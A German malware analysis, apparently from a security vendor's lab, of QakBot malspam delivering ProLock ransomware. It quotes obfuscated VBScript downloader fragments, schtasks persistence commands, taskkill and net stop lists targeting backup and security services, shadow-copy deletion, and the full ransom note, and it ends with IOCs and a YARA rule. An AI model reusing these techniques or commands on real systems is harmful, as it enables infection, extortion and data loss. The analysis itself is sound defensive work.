Zusammenfassung
Das FBI und das CERT-Bund [1][2] warnen davor, dass der Malspam QakBot zur Zeit die Ransomware ProLock verbreitet.
QakBot wird per E-Mail verbreitet. In der hier beschriebenen Kampagne wird mit Hilfe einer E-Mail mit einem Link zu einem ZIP-Archiv, das eine VBScript-Datei enthält, der QakBot-Loader auf die Computer der Opfer heruntergeladen. Von dort aus können die Betreiber von QakBot die Ransomware ProLock laden.
Die Ransomware ProLock verschlüsselt mit RC6 Dateien auf dem Computer des Opfers. Die ersten 8 KiB aller Dateien sind davon ausgenommen. An die verschlüsselten Dateien wird die Endung .proLock
angefügt. Außerdem werden eine Lösegeldforderung mit dem Hinweis „[n]othing personal just business“ ([n]ichts Persönliches, rein geschäftlich) sowie Anweisungen zur Zahlung des Lösegelds hinterlassen. Allerdings löscht die Ransomware auch Dateien mit den Endungen .bac
oder .bak
, sodass die Opfer diese Dateien selbst bei Zahlung des Lösegelds verlieren werden.
Hintergrund
QakBot (auch bekannt als QBot, QuakBot, Pinkslipbot) gibt es seit 2008. Die Ransomware ProLock ist vergleichsweise neu. Wir haben die aktuellen Ereignisse zu diesen beiden Malware-Arten in einem Zeitstrahl zusammengefasst:
ProLock ist eine Ransomware, die erstmals Ende 2019 aufgetaucht ist. Damals hieß sie PwndLocker. PwndLocker hatte jedoch einen Bug, weshalb die Opfer ihre Dateien ohne Zahlung des Lösegelds entschlüsseln konnten. Daher wurde die Ransomware 2020 in ProLock umbenannt, nachdem der Fehler behoben wurde.
Auch wenn sich ProLock üblicherweise mit RDP Zugang zu den Opfern verschafft, wurde ProLock in letzter Zeit über QakBot verbreitet, auf ähnliche Weise wie die Ransomware von Emotet.
Fachliche Analyse
In dieser Analyse werden zuerst einige Schritte der aktuell zu beobachtenden QakBot-Infektionskette vorgestellt. Die wichtigen und interessanten Schritte werden in dem folgenden Flussdiagramm abgebildet.
Bei der ersten Infektion kommt eine E-Mail mit einem Link zu einem ZIP-Archiv zum Einsatz. Das ZIP-Archiv enthält eine VBScript-Datei, die den QakBot-Loader herunterlädt. QakBot kann ebenso wie Emotet weitere Malware herunterladen. Die Ransomware ProLock ist das jüngste Beispiel für Malware, die auf diese Weise verbreitet wir. Vor ihr haben bereits mehrere Regierungsinstitutionen gewarnt.
Im zweiten Teil dieses Artikels geben wir einen Einblick in das Innenleben der neuen Ransomware ProLock.
Die vorgestellte Kampagne hatte Deutschland als Ziel und setzte Thread-Hijacking ein, d.h. QakBot antwortete auf bestehende E-Mail-Unterhaltungen, die er über frühere Opfern erhalten hatte. Die Kommunikationspartner der früheren Opfer erhielten dann eine E-Mail mit einem Link wie die diese:
Im unteren Bereich der E-Mail (hier nicht abgebildet) befindet sich der Thread der gehackten Unterhaltung.
Seit dieser Kampagne sind viele verschiedene Kampagnen aufgetreten, auch in anderen Sprachen als Deutsch.
Absender
Als Anzeigename im RFC-5322-Feld „From des Headers wird bei den E-Mails der Anzeigename des Gesprächspartners des gehackten Unterhaltungs-Threads angezeigt. Die Adresse im „From“-Feld des Headers ist die tatsächliche Adresse des Absenders. Auf diese Weise bestehen die E-Mails SPF- und DKIM-Prüfungen.
Um dies zu veranschaulichen, nehmen wir einmal an, dass Alice an einer Unterhaltung mit Bob Doe teilgenommen hat. Dieser Unterhaltungs-Thread wird gehackt, als sie sich mit QakBot infiziert. Im „From“-Feld des Headers der gestohlenen E-Mails steht Bob Doe <bob@example.com>
. Nun verschickt Alices Computer den Malspam QakBot. Im „From“-Feld des Headers der verschickten E-Mails steht Bob Doe <alice@example.org>
.
In diesem Fall gibt es keinen Anzeigenamen und als Anzeigename im „From“-Feld des Headers wird direkt die E-Mail-Adresse verwendet. Dieses Verhalten wurde bei mehreren E-Mails festgestellt. Hier ist ein Beispiel:
Zeitlicher Rahmen
Aus den Daten der gehackten E-Mail-Unterhaltungen ist ersichtlich, dass die gestohlenen E-Mails größtenteils aktuell sind, d.h. die gehackten E-Mail-Threads sind zum Zeitpunkt der Angriffe erst wenige Tage alt. Anders als die Betreiber von Emotet beschränken sich die Betreiber dieser Malspam-Kampagne beim Thread-Hijacking jedoch scheinbar nicht auf aktuelle E-Mails. Wir haben auch E-Mails entdeckt, die Threads aus dem Jahr 2015 ausgenutzt haben.
Köder
Durch die E-Mails sollen die Opfer dazu verleitet werden, über einen Link mit der Bezeichnung ANHANG ZUM DOWNLOAD
einen Download durchzuführen. Dazu wird den Opfern mit unterschiedlichen Phrasen vorgetäuscht, dass sie das Dokument hinter dem Download-Link prüfen oder kommentieren müssen. In früheren englischsprachigen Kampagnen lautete die Link-Bezeichnung ATTACHMENT DOWNLOAD
. Hier sind einige Beispiele:
Scheinbar ist die Auswahl an Phrasen begrenzt (denn wir haben Wiederholungen festgestellt), die Formulierungen sind allerdings völlig generisch und können jederzeit durch eine beliebige andere Formulierung ersetzt werden. Deshalb können diese E-Mails in nahezu jeden Unterhaltungs-Thread injiziert werden.
Der Link führt zu einem ZIP-Archiv mit einer VBScript-Datei.
VBScript-Datei
Die VBScript-Datei ist scheinbar etwa 37 MiB (38045309 Bytes) groß, ist aber mit Nullen aufgefüllt.
$ hexdump -C Darlehensvertrag_8378051_19052020.vbs | less
00000000 0a 4f 6e 20 45 72 72 6f 72 20 52 65 73 75 6d 65 |.On Error Resume|
00000010 20 4e 65 78 74 0a 64 69 6d 20 6a 4d 52 50 42 2c | Next.dim jMRPB,|
00000020 20 68 6d 58 74 76 6c 2c 20 68 68 71 49 43 54 2c | hmXtvl, hhqICT,|
[...]
00033f50 45 47 46 58 53 51 20 3d 20 46 69 78 28 44 4d 4c |EGFXSQ = Fix(DML|
00033f60 63 63 29 0a 56 7a 4f 64 69 20 3d 20 78 61 74 43 |cc).VzOdi = xatC|
00033f70 58 48 4e 20 6f 72 20 4e 72 4c 62 55 6d 0a 0a 00 |XHN or NrLbUm...|
00033f80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
02448670 00 00 00 00 00 00 00 00 00 00 00 00 0a |.............|
0244867d
(ENDE)
Der tatsächliche VBScript-Code ist nur etwa 200 KiB groß und macht 0,5 % der Datei aus. So soll vermutlich die Entdeckung des Angriffs verhindert werden, denn einige Systeme scannen keine Dateien, die eine bestimmte Größenbeschränkung überschreiten.
Das Script nutzt Verfahren der Evasion, des Anti-Debuggings und der Obfuskation.
Wir werden nur auf die interessanten Teile des Scripts eingehen.
Evasion
Das Script ruht 30000 ms lang:
[...]
ozcHEG = 318 - 15 + 490 + 5 - 22 - 9 - 7 + 10 + 29230
[...]
WScript.Sleep ozcHEG
[...]
Hiermit soll wahrscheinlich eine dynamische Analyse umgangen werden. Einige Analyse-Systeme verkürzen die Analysezeit durch Timeouts und entscheiden anhand der Aktionen, die bis zum Timeout ausgeführt werden, ob eine Probe bösartig ist oder nicht.
Unterdrückung von Fehlern
Das Script verwendet in jeder Funktion On Error Resume Next
. Dadurch wird das Programm aufgefordert, mit dem nächsten Programm-Befehl fortzufahren, auch wenn ein Fehler auftritt.
Obfuskation
String-Ersetzung
Mit Hilfe eines gängigen Verfahrens zur String-Ersetzung verschleiert das Script die echten Strings im Script. Der Code
set o=CreateObject(replace("Rx1wRx1scRx1rRx1ipRx1tRx1.sRx1heRx1lRx1l", "Rx1", ""))
wird zu
set o=CreateObject("wscript.shell")
Dieses Verfahren wird an mehreren Stellen im Script eingesetzt.
Zeichenverkettung
Mit Hilfe von Zeichenverkettung bildet das Script Strings aus einzelnen Aufrufen der Funktion chr()
. Der Code
qtcqQ=chr(87)&chr(105)&chr(110)&chr(77)&chr(103)&chr(109)&chr(116)&chr(115)&chr(58)&chr(123)&chr(105)&chr(109)&chr(112)&chr(101)&chr(114)&chr(115)&chr(111)&chr(110)&chr(97)&chr(116)&chr(105)&chr(111)&chr(110)&chr(76)&chr(101)&chr(118)&chr(101)&chr(108)&chr(61)&chr(105)&chr(109)&chr(112)&chr(101)&chr(114)&chr(115)&chr(111)&chr(110)&chr(97)&chr(116)&chr(101)&chr(125)&chr(33)&chr(92)&chr(92)&chr(46)&chr(92)&chr(114)&chr(111)&chr(111)&chr(116)&chr(92)
wird zu
qtcqQ="WinMgmts:{impersonationLevel=impersonate}!\\\\.\\root\\"
Dieses Verfahren wird an mehreren Stellen im Script eingesetzt.
XOR-Verschlüsselung
Das Script verwendet einen sehr langen String (zu Beginn definiert). Wir haben den String in LARGE_STRING
umbenannt. Dieser lange String wird dreimal mit einer Funktion umgewandelt, die eine XOR-Chiffre zur Entschlüsselung der Download-URLs und der ausführbaren Dateinamen verwendet. Die XOR-Schlüssel werden erzeugt, indem zu einem kürzeren String indiziert wird, den wir in xor_key_selection_string
umbenannt haben:
xor_key_selection_string = "J32EmExEv2QE3ZfZsFlO84vJKXRFXWutfc2vigLlDKJZNT9T0wlTWtOiqp8dSt7XJzu9VhQvxzXARwg1kjAEvzaRQJcqbW2J0HmDtXeVxk18ZFhG9zZwWTN4aGkDh0nbIIFGhOPU50PzCAGbom360Sry6vA9DHp56oAtEZZRhaSL0noyFy4C9B3rXTSbPbx0hcOnsNYVUTQ7TIKSLavputomDcV50UwbgBoXbX1a8iY11TCylu13ugCo7C8FXmbSGYPi4rr1dq6KaV7kpp2g6urPeKD3HuLb2nYobSWe9KvmKxGdfUxNz8HAdGjI2kjh6ojyqdayw9RT5yYxLEQsRiHnuz0RiyDeVLFVutox5abkwDf9v66PWlRw4HrThNtW36OZOgw7zmvmOr5ysh5uUf3lRRIcP"
[...]
xor_key_1 = Asc(Mid(xor_key_selection_string, rZGOkh, 418 + 454 + 6 - 19 - 4 + 12 - 21 + 129 - 974))
[...]
TRANS_LARGE_STRING = string_transform(LARGE_STRING, xor_key_1)
jRABF = sgzJJn * NrLbUm
DMLcc = 468 + 14 - 9 + 21 - 196 - 100 + 178 - 231 + 578
TRANS_LARGE_STRING = string_transform(TRANS_LARGE_STRING, xor_key_2)
MGQNb = SWoDQ - xatCXHN
TRANS_LARGE_STRING = string_transform(TRANS_LARGE_STRING, xor_key_3)
(xor_key_selection_string
, xor_key_{1,2,3}
, string_transform
, TRANS_LARGE_STRING
und LARGE_STRING
wurden von dem Analytiker umbenannt, um die Programm-Logik besser zu verstehen. Im ursprünglichen Code waren dies zufällige Zeichenfolgen.)
Netzwerk-Verbindung
Das Script sender GET-Anfragen an 5 verschiedene URLS:
Der VBScript-Code, der für die GET-Anfragen zuständig ist, ist in der folgenden For-Schleife enthalten:
For i = 1 To 6
ms.Open Replace("S12GES12TS12", "S12", ""), RryLCg(index) & iGonf, False
(Bitte beachten Sie, dass wir ein Tool zur Standardisierung der Code-Einrückung verwendet haben.)
Der User Agent ist fest in das Script kodiert. Er ist wie folgt als kapitalisiertes Wort doppelt geschrieben:
ms.setRequestHeader OIEDjshTTW, "AlbertaAlberta"
Zwar sind die Wörter zufällig und unterscheiden sich zwischen den einzelnen Proben, aber das Wort wird immer doppelt geschrieben, z.B. LamodaLamoda
usw.
In dem uid
-Parameter in dem Query-String befindet sich ein mit Base64 kodierter String mit den Versionen der Antivirus-Software des Systems und der von Windows.
Diese Informationen werden mit zwei WMI-Abfragen ermittelt.
GetObject("WinMgmts:{impersonationLevel=impersonate}!\\\\.\\root\\SecurityCenter2").ExecQuery("select * from AntiVirusProduct")
und
GetObject("WinMgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
(Natürlich ist der Original-Code für diese beiden Abfragen verschleiert und erstreckt sich über mehrere Code-Zeilen.)
Download und Start des QakBot-Loaders
Dieselbe GET-Anfrage, die den uid
-Parameter sendet, erhält eine PE-Datei als Antwort:
Das Script speichert sie unter %userprofile%\AppData\Local\Temp\PicturesViewer.exe
und startet die ausführbare Datei:
Der dafür zuständige Code in der VBScript-Datei befindet sich in der oben genannten GET-Anfrage als For-Schleife. Zuerst prüft er den readyState
. Falls die Anfrage den Zustand DONE
(readyState
= 4) liefert, prüft er, ob die Größe des Antwortrumpfes ungleich 0 ist, und schließlich auch, ob der Inhalt der Antwort mit MZ
beginnt:
[...]
If ms.readyState = 4 Then
If Len(ms.responseBody) <> 0 Then
If Left(ms.responseText, 2) = "MZ" Then
[...]
.Write ms.responseBody
[...]
execute RryLCg(6)
[...]
Jetzt wird der heruntergeladene QakBot-Loader ausgeführt, womit das Ende des Download-Scripts erreicht ist.
QakBot
Der heruntergeladene QakBot-Loader ist komprimiert. Er entpackt sich während seiner Ausführung selbst in den Speicher. Zuerst führt er sich mit dem Optionsflag /C
selbst aus. Infolgedessen prüft QakBot, ob er innerhalb einer Sandbox ausgeführt wird. Daraufhin führt er sich mit schtasks.exe /Create /RU \"NT AUTHORITY\\SYSTEM\"
über eine geplante Aufgabe selbst aus. Dadurch kann der Bot seine Berechtigungen ausweiten. Anschließend injiziert er mit einer Prozess-Aushöhlung (Process Hollowing) in explorer.exe
(mit Hilfe von CREATE_SUSPENDED
). Danach erhält er über Run-Schlüssel (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
) sowie über eine geplante Aufgabe (schtasks.exe /create /tr mjezacl.exe /sc HOURLY /mo 5
) Persistenz.
Später fragt er über www.ip-address.com
die externe IP des infizierten Systems ab. Schließlich stellt er in der deterministischen Phase seiner Ausführungskette eine Verbindung zu den C2-Servern (Proxy) her.
Auf diese Weise kann QakBot ebenso wie Emotet weitere Module sowie zusätzliche Malware laden. In diesem Fall lädt QakBot ProLock herunter und führt es aus.
Bevor wir ProLock analysieren, werfen wir einen kurzen Blick auf die C2-IPs von QakBot.
C2
Die C2-IPs stammen hauptsächlich aus den USA und in deutlich geringerem Maße aus Rumänien. Allerdings kann die Verteilung zwischen den einzelnen Kampagnen leicht variieren.
Die Verbreitungskampagne mit dem Namen spx128
hatte zum Beispiel einen dritten Cluster von IP-Adressen in Mexiko.
Die Verbreitungskampagne mit dem Namen spx116
und einem Köder in deutscher Sprache hatte hingegen etwas mehr C2-IP-Adressen aus Europa:
Es scheint jedoch, dass C2-IP-Adressen in erster Linie aus englischsprachigen Ländern stammen. Diese Verteilung deutet darauf hin, dass QakBot vorrangig auf englischsprachige Länder ausgelegt war. Wie die auf Deutschland ausgerichtete Kampagne zeigt, könnte sich dieser Schwerpunkt jetzt allerdings verlagern und QakBot ähnlich wie Emotet globaler aufgestellt werden.
Falls der Ursprung der C2-IP-Adressen an die Zielländer angepasst würde, wäre eine viel deutlichere Verschiebung zu deutschen IP-Adressen zu erwarten. Daher ist ungewiss, ob die Verschiebung, die bei Kampagnen mit dem Ziel Deutschland festgestellt wurde, rein zufällig ist und die QakBot-Betreiber schlicht keine wesentliche Menge an C2-IP-Adressen aus Europa haben.
Die C2-IP-Liste verändert sich häufig.
ProLock
Wie bereits beschrieben, warnen mehrere Regierungsorganisationen davor, dass QakBot die neue Variante von PwndLocker namens ProLock verbreitet. Deshalb stellen wir kurz die wichtigsten Erkenntnisse zur neuen Ransomware ProLock vor.
Aus öffentlich zugänglichen Quellen ist bekannt, dass die aktuelle ProLock-Variante versteckt in einer Bilddatei namens WinMgr.bmp
zugestellt wird. Dieses Bild ist bis auf einige weiße Pixel komplett schwarz. In diesen weißen Pixeln oben rechts ist der Binärcode von ProLock gespeichert.
Von dort aus wird ProLock in den Speicher geladen und über PowerShell ausgeführt.
PowerShell Loader
Der Code des PowerShell-Loaders lautet wie folgt:
(Bildquelle: [3])
Abhängig von der Zeigergröße ([IntPtr]::size
), d.h. der Wortlänge im Betriebssystem, speichert PowerShell die Daten unter 0xA230
(32 Bit) oder 0xD7A0
(64 Bit) und führt sie aus.
Wir betrachten die 32-Bit-Variante.
Entpacken
Als Erstes entpackt die Dekompressionsroutine die Nutzdaten.
Beim Entpacken wird ein einfaches XOR-Verschlüsselungsverfahren mit dem Offset 0xa27f
(in WinMgr.bmp
) und dem Schlüssel 0x09b1a2dc
eingesetzt.
Der Shellcode der entpackten Nutzdaten durchläuft den PEB ab FS:[0x30]
, um die Liste der geladenen Module zu erhalten. Er berechnet die Hashes der DLL-Namen und vergleicht sie mit einem Hash von KERNEL32.DLL
. So wird die Adresse von kernel32.dll
ermittelt. Anschließend werden die Adressen von LoadLibraryA
, GetProcAddress
und VirtualAlloc
ermittelt, indem das Export-Verzeichnis kernel32.dll
durchlaufen wird, die Hashes der Funktionsnamen darin berechnet werden und die Funktionsnamen mit einer Liste von Hashes der zugehörigen Funktionen verglichen werden:
Im gesamten Code werden Code-Sequenzen call label; db 'string'; label: ...
eingesetzt, um Adressen von Strings in den Speicher zu laden.
Hinweis: In der 64-Bit-Version wird eine relative Adressierung verwendet (die in der 32-Bit-Version nicht verfügbar ist).
Mit den geladenen Strings werden die Adressen von weiteren Bibliotheken und Funktionen ermittelt und für die spätere Verwendung gespeichert.
Vorbereitung
Im nächsten Schritt löscht ProLock die folgenden Dateien mit DeleteFileA
:
C:\\Programdata\\WinMgr.xml
C:\\Programdata\\WinMgr.bmp
C:\\Programdata\\clean.bat
C:\\Programdata\\run.bat
Es trennt alle Verbindungen zu geteilten Ressourcen, außer zu den versteckten.
Es listet mit den Funktionen CreateToolhelp32Snapshot
und Process32{First,Next}
die laufenden Prozesse auf:
Die ersten 6 Zeichen jedes Prozessnamens werden mit einer Liste verglichen:
Falls ein Prozess übereinstimmt,
wird auf diesen taskkill.exe /F /IM
mit Hilfe von ShellExecuteA
angewendet:
Die gesuchten und abgebrochenen Prozesse beginnen mit: agntsv
, cntaos
, dbeng5
, dbsnmp
, encsvc
, excel.
, firefo
, infopa
, isqlpl
, mbamtr
, msacce
, msftes
, mspub.
, mydesk
, mysqld
, ntrtsc
, ocauto
, ocomm.
, ocssd.
, onenot
, oracle
, outloo
, pccntm
, powerp
, sqbcor
, sqlage
, sqlbro
, sqlser
, sqlwri
, steam.
, syncti
, tbirdc
, thebat
, thunde
, tmlist
, visio.
, winwor
, wordpa
, xfssv
, czoolz
.
Im Anschluss wird mit net.exe stop "<service>" /y
eine lange Liste von Services angehalten:
Die Services von der Prozess-Abbruchliste gehören zu Sicherheitsprodukten, aber auch zu Datenbank- und Datensicherungssystemen, die geöffnete Dateien gesperrt haben könnten und so eine Verschlüsselung dieser Dateien durch die Ransomware verhindern würden.
Die gesuchten Services sind CSFalconService
, McAfeeFramework
, Alerter
, AcronisAgent
, Acronis VSS Provider
, BackupExecAgentAccelerator
, BackupExecDeviceMediaService
, BackupExecJobEngine
, BackupExecManagementService
, BackupExecRPCService
, BackupExecVSSProvider
, DFSR
, EPIntegrationService
, EPProtectedService
, EPSecurityService
, EPUpdateService
, MB3Service
, MBAMService
, MBEndpointAgent
, MSExchangeES
, MSExchangeMGMT
, MSExchangeMTA
, MSExchangeSA
, MSExchangeSRS
, MSExchangeADTopology
, MSExchangeDelivery
, MSExchangeDiagnostics
, MSExchangeEdgeSync
, MSExchangeHM
, MSExchangeHMRecovery
, MSExchangeIS
, MSExchangeMailboxReplication
, MSExchangeRPC
, MSExchangeRepl
, MSExchangeServiceHost
, MSExchangeTransport
, MSExchangeUM
, MSExchangeUMCR
, MSOLAP$*
, MSSQLSERVER
, MsDtsServer
, MySQL57
, OSearch15
, OracleClientCache80
, QuickBooksDB25
, SPAdminV4
, SPSearchHostController
, SPTraceV4
, SPUserCodeV4
, SPWriterV4
, SQLBrowser
, SQLSafeOLRService
, SQLsafe Backup Service
, SQLSERVERAGENT
, SQLTELEMETRY
, SQLBackups
, SQLAgent$*
, MSSQL$*
, MSMQ
, ReportServer
, ReportServer$*
, SQLWriter
, SQLBackupAgent
, Symantec System Recovery
, SyncoveryVSSService
, VeeamBackupSvc
, VeeamCatalogSvc
, VeeamCloudSvc
, VeeamEndpointBackupSvc
, VeeamEnterpriseManagerSvc
, VeeamMountSvc
, VeeamNFSSvc
, VeeamRESTSvc
, VeeamTransportSvc
, Veeam Backup Catalog Data Service
, epag
, epredline
, mozyprobackup
, masvc
, macmnsvc
, mfemms
, McAfeeDLPAgentService
, psqlWGE
, swprv
, wsbexchange
, WinVNC4
, TMBMServer
, tmccsf
, tmlisten
, VSNAPVSS
, stc_endpt_svc
, wbengine
, bbagent
, NasPmService
, BASupportExpressStandaloneService_N_Central
, BASupportExpressSrvcUpdater_N_Central
, hasplms
, EqlVss
, EqlReqService
, RapidRecoveryAgent
, YTBackup
, vhdsvc
, TeamViewer
, MSOLAP$SQL_2008
, MSOLAP$SYSTEM_BGC
, MSOLAP$TPS
, MSOLAP$TPSAMA
, MSSQL$BKUPEXEC
, MSSQL$ECWDB2
, MSSQL$PRACTICEMGT
, MSSQL$PRACTTICEBGC
, MSSQL$PROD
, MSSQL$PROFXENGAGEMENT
, MSSQL$SBSMONITORING
, MSSQL$SHAREPOINT
, MSSQL$SOPHOS
, MSSQL$SQL_2008
, MSSQL$SQLEXPRESS
, MSSQL$SYSTEM_BGC
, MSSQL$TPS
, MSSQL$TPSAMA
, MSSQL$VEEAMSQL2008R2
, MSSQL$VEEAMSQL2012
, MSSQLFDLauncher
, MSSQLFDLauncher$PROFXENGAGEMENT
, MSSQLFDLauncher$SBSMONITORING
, MSSQLFDLauncher$SHAREPOINT
, MSSQLFDLauncher$SQL_2008
, MSSQLFDLauncher$SYSTEM_BGC
, MSSQLFDLauncher$TPS
, MSSQLFDLauncher$TPSAMA
, MSSQLSERVER
, MSSQLServerADHelper
, MSSQLServerADHelper100
, MSSQLServerOLAPService
, SQLAgent$BKUPEXEC
, SQLAgent$CITRIX_METAFRAME
, SQLAgent$CXDB
, SQLAgent$ECWDB2
, SQLAgent$PRACTTICEBGC
, SQLAgent$PRACTTICEMGT
, SQLAgent$PROD
, SQLAgent$PROFXENGAGEMENT
, SQLAgent$SBSMONITORING
, SQLAgent$SHAREPOINT
, SQLAgent$SOPHOS
, SQLAgent$SQL_2008
, SQLAgent$SQLEXPRESS
, SQLAgent$SYSTEM_BGC
, SQLAgent$TPS
, SQLAgent$TPSAMA
, SQLAgent$VEEAMSQL2008R2
, SQLAgent$VEEAMSQL2012
, ReportServer$SQL_2008
, ReportServer$SYSTEM_BGC
, ReportServer$TPS
und ReportServer$TPSAMA
.
Schließlich löscht ProLock mit den folgenden Befehlen Volumeschattenkopien:
vssadmin.exe
-Befehle von ProLock.
Die Befehle werden an vssadmin.exe
übergeben, das wiederum über ShellExecuteA
aufgerufen wird:
Aufruf von vssadmin.exe
durch ProLock.
ProLock listet alle Laufwerkbuchstaben für die Löschung von Schattenkopien auf, hiervon ausgenommen sind nur CD-ROM-Laufwerke (DRIVE_CDROM
):
Lösegeld
Es scheint, dass ProLock nicht die ersten 8 KiB der Dateien verschlüsselt. Also werden Dateien, die kleiner als 8 KiB sind, überhaupt nicht verschlüsselt und erhalten auch keine .proLock
-Endung.
Dateien und Verzeichnisse werden gemäß mehreren Dateilisten verarbeitet:
ProLock wird Dateien mit den Endungen .exe
, .dll
, .lnk
, .ico
, .msi
, .chm
, .sys
, .hlf
, .lng
, .ttf
und .cmd
auslassen.
Dateien mit den Endungen .bac
oder .bak
werden gelöscht.
Darüber hinaus durchläuft ProLock keine Verzeichnisse mit den Namen $Recycle.Bin
, Windows
, Boot
, System Volume Information
, PerfLogs
, Common Files
, DVD Maker
, Internet Explorer
, Kaspersky Lab
, Kaspersky Lab Setup Files
, WindowsPowerShell
, Microsoft
, Microsoft.NET
, Mozilla Firefox
, MSBuild
, Windows Defender
, Windows Mail
, Windows Media Player
, Windows NT
, Windows Photo Viewer
, Windows Portable Devices
, Windows Sidebar
, WindowsApps
und Uninstall Information
. Außerdem werden die folgenden Verzeichnisse im Profilverzeichnis nicht durchlaufen: Adobe
, Microsoft
, Microsoft_Corporation
, Packages
und Temp
.
ProLock nutzt mehrere Threads. Es gibt eine Funktion innerhalb eines Unterprozesses, die die Verzeichnisstrukturen durchgeht. Verschlüsselt und umbenannt werden die Dateien von anderen Funktionen anderer Unterprozesse:
Für die Verschlüsselung ermittelt ProLock mit dem Opcode RDTSC
des Prozessors zufällige Zahlen, aus denen es den folgenden Verschlüsselungsschlüssel erzeugt:
Die Dateien selbst sind scheinbar mit RC6 verschlüsselt. Die RC6-Schlüsselfahrplan-Funktion kann durch die RC6-Konstanten 0xb7e15163
und 0x9e3779b9
sowie durch die typische 44-fache For-Schleife bestimmt werden, von der die im Malware-Code gefundene Schlüsselstruktur ausgeht:
Nach der Verschlüsselung wird an jede verschlüsselte Datei eine .proLock
-Endung angehängt:
Beim Durchgehen der Verzeichnisse und vor der Verschlüsselung hinterlässt ProLock in jedem Verzeichnis eine Datei mit dem Namen [HOW TO RECOVER FILES].TXT
(WIEDERHERSTELLUNG VON DATEIEN) mit einer Lösegeldforderung. Es folgt eine Übersetzung der Lösegeldforderung (den englischen Originaltext können Sie in der englischen Version dieser Seite nachlesen).
Your files have been encrypted by ProLock Ransomware using RSA-2048 algorithm.
[.:Nothing personal just business:.]
No one can help you to restore files without our special decryption tool.
To get your files back you have to pay the decryption fee in BTC.
The final price depends on how fast you write to us.
1. Download TOR browser: https://www.torproject.org/
2. Install the TOR Browser.
3. Open the TOR Browser.
4. Open our website in the TOR browser: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.onion
5. Login using your ID XXXXXXXXXXXXXXXXXXXX
***If you have any problems connecting or using TOR network:
contact our support by email chec1kyourf1les@protonmail.com.
[You'll receive instructions and price inside]
The decryption keys will be stored for 1 month.
We also have gathered your sensitive data.
We would share it in case you refuse to pay.
Decryption using third party software is impossible.
Attempts to self-decrypting files will result in the loss of your data.
Natürlich ist das Versprechen, dass dies „[n]ichts Persönliches, rein geschäftlich“ ist, kein Trost für die Opfer.
Wir haben bei dem untersuchten ProLock-Beispiel keine Netzwerk-Verbindung festgestellt. Wir haben jedoch nicht die gesamte Kette bis zum Deployment dieses ProLock-Musters untersucht. Möglicherweise haben die Täter eine Malware für Datendiebstahl verwendet, bevor sie die Ransomware ProLock eingesetzt haben. Demnach könnte die Drohung, gesammelte sensible Daten zu teilen, wahr sein.
Schlussfolgerungen und Gegenmaßnahmen
Lösegeld sollte nicht gezahlt werden. In der Vergangenheit hatte ProLock, damals noch unter dem Namen PwndLocker, Probleme mit dem eigenen Entschlüsselungstool, sodass die Opfer ihre Dateien nicht entschlüsseln konnten. Das FBI hat für die neueste Version ähnliche Bedenken geäußert. Wie diese Untersuchung zeigt, werden Dateien mit der Endung .bac
oder .bak
nicht verschlüsselt, sondern gelöscht. Das bedeutet, dass es voraussichtlich auch dann zu einem beachtlichen Datenverlust kommt, wenn das Opfer zahlt.
Sie sollten Datensicherungen haben, die für Ransomware unzugänglich sind.
Spam and Malware Protection von Hornetsecurity blockiert bekannte Muster und URLs von QakBot-E-Mails.
Advanced Threat Protection von Hornetsecurity beinhaltet URL Rewriting und ersetzt URLs in E-Mails durch sichere URLs. Mit einem Klick wird der Benutzer zu der abgesicherten Website über den ATP-Proxy von Hornetsecurity umgeleitet, der herunterladbare Inhalte scannt und den Zugriff auf Malware blockiert. Das bietet Schutz vor dem bösartigen Link in der ursprünglichen E-Mail und verhindert von vornherein den Download der QakBot-VBScript-Datei.
Quellen
- [1] https://twitter.com/certbund/status/1263581728414691329
- [2] https://twitter.com/certbund/status/1261317907268751360
- [3] https://twitter.com/AltShiftPrtScn/status/1239966261313847298
Indicators of Compromise (IOCs)
Hashes
SHA256 | Dateiname | Beschreibung |
---|---|---|
20cd1626d319f10323f5abda86fc11d0ed3783bd65f9c3a6501841e783edf61d |
Darlehensvertrag_8378051_19052020.vbs |
VBScript-QakBot-Downloader |
0cd872e07f9e1929b9b3baf7f86af70ccb28763bd4f1a16ebad659ea262106a5 |
888888.png |
Beispiel QakBot-Loader |
a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0 |
Winmgr.bmp |
BMP mit ProLock-Shellcode als Nutzdaten |
Signaturen
YARA
rule prolock_decoder_stub
{
meta:
description = "Detects ProLock decoder stubs"
author = "Hornetsecurity Security Lab"
date = "2020-06-03"
hash1 = "a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0"
strings:
$decoder_stub_32 = {
55 89 e5 8b 4? ?? eb ?? 89 4? ?? 8d 15 ?? ?? ?? ?? 8d 05
?? ?? ?? ?? 83 e8 ?? 29 c2 8b 4? ?? 01 c2 31 db b8 ?? ??
?? ?? 31 04 1a 81 3c 1a ?? ?? ?? ?? 74 ?? 83 fb ?? 75 ??
31 04 1a 40 eb ?? eb ?? 83 c3 ?? 81 3c 1a ?? ?? ?? ?? 74
?? eb ?? }
$decoder_stub_64 = {
55 48 89 e5 48 89 4? ?? 48 8b 4? ?? eb ?? 49 89 c3 48 8d
15 ?? ?? ?? ?? 48 8d 05 ?? ?? ?? ?? 48 83 e8 ?? 48 29 c2
4c 89 d8 48 01 c2 48 31 db 48 c7 c0 ?? ?? ?? ?? 31 04 1a
81 3c 1a ?? ?? ?? ?? 74 ?? 48 83 fb ?? 75 ?? 31 04 1a 48
ff c0 eb ?? eb ?? 48 83 c3 ?? 81 3c 1a ?? ?? ?? ?? 74 ??
eb ?? }
condition:
any of ($decoder_stub_*)
}